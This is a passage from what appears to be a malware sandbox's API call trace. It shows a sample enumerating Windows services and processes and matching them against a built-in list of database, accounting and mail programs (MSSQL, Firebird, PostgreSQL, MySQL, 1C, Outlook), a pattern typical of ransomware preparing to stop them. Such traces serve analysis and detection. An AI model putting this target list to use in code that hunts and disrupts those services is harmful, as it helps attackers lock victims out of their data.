returned 5 [0155.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0155.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0155.988] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0155.988] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0155.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0155.988] lstrlenW (lpString="MpsSvc") returned 6 [0155.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.988] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.988] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.988] lstrlenW (lpString="NlaSvc") returned 6 [0155.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.988] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.988] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.988] lstrlenW (lpString="nsi") returned 3 [0155.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.988] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.988] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.988] lstrlenW (lpString="PcaSvc") returned 6 [0155.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.988] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.988] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.988] lstrlenW (lpString="PlugPlay") returned 8 [0155.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.988] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.988] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.988] lstrlenW (lpString="Power") returned 5 [0155.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.989] lstrlenW (lpString="ProfSvc") returned 7 [0155.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.989] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.989] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.989] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.989] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.989] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.989] lstrlenW (lpString="RpcSs") returned 5 [0155.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.989] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.989] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.989] lstrlenW (lpString="SamSs") returned 5 [0155.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.989] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.989] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.989] lstrlenW (lpString="Schedule") returned 8 [0155.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.989] lstrlenW (lpString="SENS") returned 4 [0155.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.990] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.990] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.990] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.990] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.990] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.990] lstrlenW (lpString="Spooler") returned 7 [0155.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.990] lstrlenW (lpString="SysMain") returned 7 [0155.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.990] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.990] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.990] lstrlenW (lpString="Themes") returned 6 [0155.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.990] lstrlenW (lpString="TrkWks") returned 6 [0155.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0155.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0155.990] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0155.990] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0155.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0155.990] lstrlenW (lpString="UxSms") returned 5 [0155.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0155.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0155.991] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0155.991] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0155.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0155.991] lstrlenW (lpString="WdiServiceHost") returned 14 [0155.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.991] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0155.991] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0155.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0155.991] lstrlenW (lpString="Winmgmt") returned 7 [0155.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0155.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0155.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0155.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0155.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0155.991] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0155.991] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0155.993] Process32FirstW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.993] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.994] lstrlenW (lpString="System") returned 6 [0155.994] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0155.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0155.994] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0155.994] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0155.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0155.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0155.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0155.994] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.994] lstrlenW (lpString="smss.exe") returned 8 [0155.994] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0155.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0155.994] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0155.994] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0155.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0155.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0155.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0155.994] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.995] lstrlenW (lpString="csrss.exe") returned 9 [0155.995] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.995] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.995] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.996] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.996] lstrlenW (lpString="wininit.exe") returned 11 [0155.996] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0155.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0155.996] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0155.996] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0155.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0155.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0155.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0155.996] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.996] lstrlenW (lpString="csrss.exe") returned 9 [0155.996] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.996] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.996] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.997] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.997] lstrlenW (lpString="winlogon.exe") returned 12 [0155.997] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0155.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0155.997] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0155.997] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0155.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0155.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0155.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0155.997] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.997] lstrlenW (lpString="services.exe") returned 12 [0155.997] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0155.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0155.997] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0155.998] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0155.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0155.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0155.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0155.998] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.998] lstrlenW (lpString="lsass.exe") returned 9 [0155.998] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0155.998] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0155.998] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0155.998] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0155.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0155.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0155.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0155.998] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0155.998] lstrlenW (lpString="lsm.exe") returned 7 [0155.998] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0155.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0155.999] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0155.999] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.999] lstrlenW (lpString="svchost.exe") returned 11 [0155.999] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.999] lstrlenW (lpString="svchost.exe") returned 11 [0155.999] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.000] lstrlenW (lpString="svchost.exe") returned 11 [0156.000] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.000] lstrlenW (lpString="svchost.exe") returned 11 [0156.000] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.000] lstrlenW (lpString="svchost.exe") returned 11 [0156.000] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.001] lstrlenW (lpString="audiodg.exe") returned 11 [0156.001] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.001] lstrlenW (lpString="svchost.exe") returned 11 [0156.001] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.001] lstrlenW (lpString="explorer.exe") returned 12 [0156.001] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.002] lstrlenW (lpString="dwm.exe") returned 7 [0156.002] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.002] lstrlenW (lpString="svchost.exe") returned 11 [0156.002] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0156.002] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0156.002] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.003] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.003] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0156.003] lstrlenW (lpString="reader_sl.exe") returned 13 [0156.003] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.003] lstrlenW (lpString="svchost.exe") returned 11 [0156.003] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0156.004] lstrlenW (lpString="taskhost.exe") returned 12 [0156.004] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0156.004] CloseHandle (hObject=0x314) returned 1 [0156.004] Sleep (dwMilliseconds=0x1f4) [0156.799] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0156.800] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0156.800] GetLastError () returned 0xea [0156.800] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10c8) returned 0x428bbd0 [0156.800] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0x10c8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0156.801] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0156.801] lstrlenW (lpString="Appinfo") returned 7 [0156.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.801] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.801] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.801] lstrlenW (lpString="AudioSrv") returned 8 [0156.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0156.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0156.802] lstrcmpiW 